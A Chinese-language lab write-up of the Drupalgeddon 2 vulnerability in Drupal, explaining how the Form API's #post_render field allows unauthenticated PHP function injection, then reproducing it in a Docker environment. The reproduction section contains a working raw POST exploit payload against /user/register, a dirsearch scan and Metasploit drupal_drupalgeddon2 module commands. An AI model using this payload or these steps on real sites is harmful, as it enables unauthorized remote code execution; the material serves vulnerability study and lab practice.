漏洞解析
Drupal 是世界上使用最广泛的 CMS(内容管理系统)之一,Drupalgeddon 2 是继 2014 年 Drupalgeddon(SA-
CORE-2014-005)之后再次爆出的重大漏洞。
该漏洞允许远程攻击者在未认证的情况下执行任意 PHP 代码,其关键在于 Drupal 表单渲染机制与用户输入未正确隔离,允许攻击者通过特定参数劫持表单渲染流并执行任意函数。
技术原理详解
1. Drupal 表单 API 简介
Drupal 使用一种非常强大的 Form API 来构建其表单页面,这种 API 使用一个嵌套数组来表示整个表单结构,字
段之间的控制由 # 开头的元数据控制,例如:
$form['example'] = [
'#type' => 'markup',
'#markup' => 'Hello, world!',
];
- #type 决定元素类型;
- #markup 是要渲染的内容;
- #post_render 是一个函数名或数组,在渲染完元素之后调用,用于对内容做进一步处理。
2. 渲染过程中的函数调用
Drupal 渲染表单元素的核心流程中会检测是否存在 #post_render、#markup 等字段,如果存在,则会调用其中
的函数处理最终输出。
如果攻击者可以通过用户可控的数据构造如下字段:
mail[a][#post_render][]=exec
mail[a][#type]=markup
mail[a][#markup]=id
这将导致:
$output = exec('id'); // 命令被执行
Drupal 没有对这些 # 开头的特殊字段做适当的白名单校验,导致攻击者可以通过 POST 请求注入结构化表单数据,诱导系统执行任意函数。
3. 关键触发点分析
漏洞的触发点在 Drupal 的 AJAX 渲染机制中,攻击者可以通过设置 _drupal_ajax=1 参数,强制 Drupal 以 AJAX 模式执行表单渲染流程,此流程中会解析并渲染用户提交的数据。
在 Drupal 的 ajax_deliver() -> drupal_process_form() -> form_builder() -> form_builder_recursive() 流程中:
- 表单原始结构(包含默认字段)会被用户提交数据递归合并;
- 由于字段可嵌套,攻击者可构造如 mail[a][#post_render][] 这样的嵌套路径;
- 合并完成后触发渲染逻辑;
- 检测到 #post_render 后,调用函数执行 #markup 中的内容;
- 命令被执行,RCE 成功。
4. 不安全字段的影响函数
以下 Drupal 内建函数会根据表单字段自动触发执行:
字段 | 说明 |
#type | 控制元素类型,必须为 markup 才会执行渲染 |
#markup | 渲染输出内容 |
#post_render | 渲染后调用的函数名(可数组) |
#pre_render | 渲染前执行的函数 |
如果没有对这些字段的合法性进行过滤,那么攻击者可以通过构造任意函数调用链实现 RCE。
设计缺陷总结
- 结构化参数无白名单校验:
- 用户输入的结构化数组未做字段过滤;
- 可控字段如 #post_render 直接合并进原始表单结构。
- 渲染函数自动执行用户指定的函数名:
- Drupal 认为 #post_render 是可信结构,未做函数名验证;
- 攻击者可指定任意 PHP 函数,如 exec()、system() 等。
- 路径可控导致执行链完整形成:
- 通过 mail[a][#post_render][] 等路径控制子元素结构;
- 结合 #markup 提供命令参数,RCE 条件具备。
本质
Drupalgeddon 2 的核心本质是:攻击者控制结构化字段劫持函数调用链,利用 Drupal 渲染机制完成了未授权的函数注入与执行。
它本质上不是单纯的命令注入,而是一种 业务逻辑级的 PHP 函数劫持执行(Function Injection)。
参考链接:
环境启动后,访问http://your-ip:8080/将会看到Drupal的安装页面。使用"标准"配置文件完成Drupal安装。由于环境中没有MySQL,安装时应选择SQLite数据库。安装完成后,即可开始漏洞利用。
漏洞复现
1,首先来到网站首页
2,扫描网站存在的子目录
dirsearch -u http://192.168.23.230:8080/user -x 404,403
3,漏洞存在网站
向网站构造如下POST请求即能够触发漏洞
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 Host: 192.168.23.230:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 103 form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id |
使用burpsuite抓请求包然后改包,成功触发漏洞
4,使用msf进行漏洞利用以控制网站
msfconsle
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.23.230
set RPORT 8080
set TARGETURI /
set SSL false
run
因为是在docker容器内,所以网站没有什么系统命令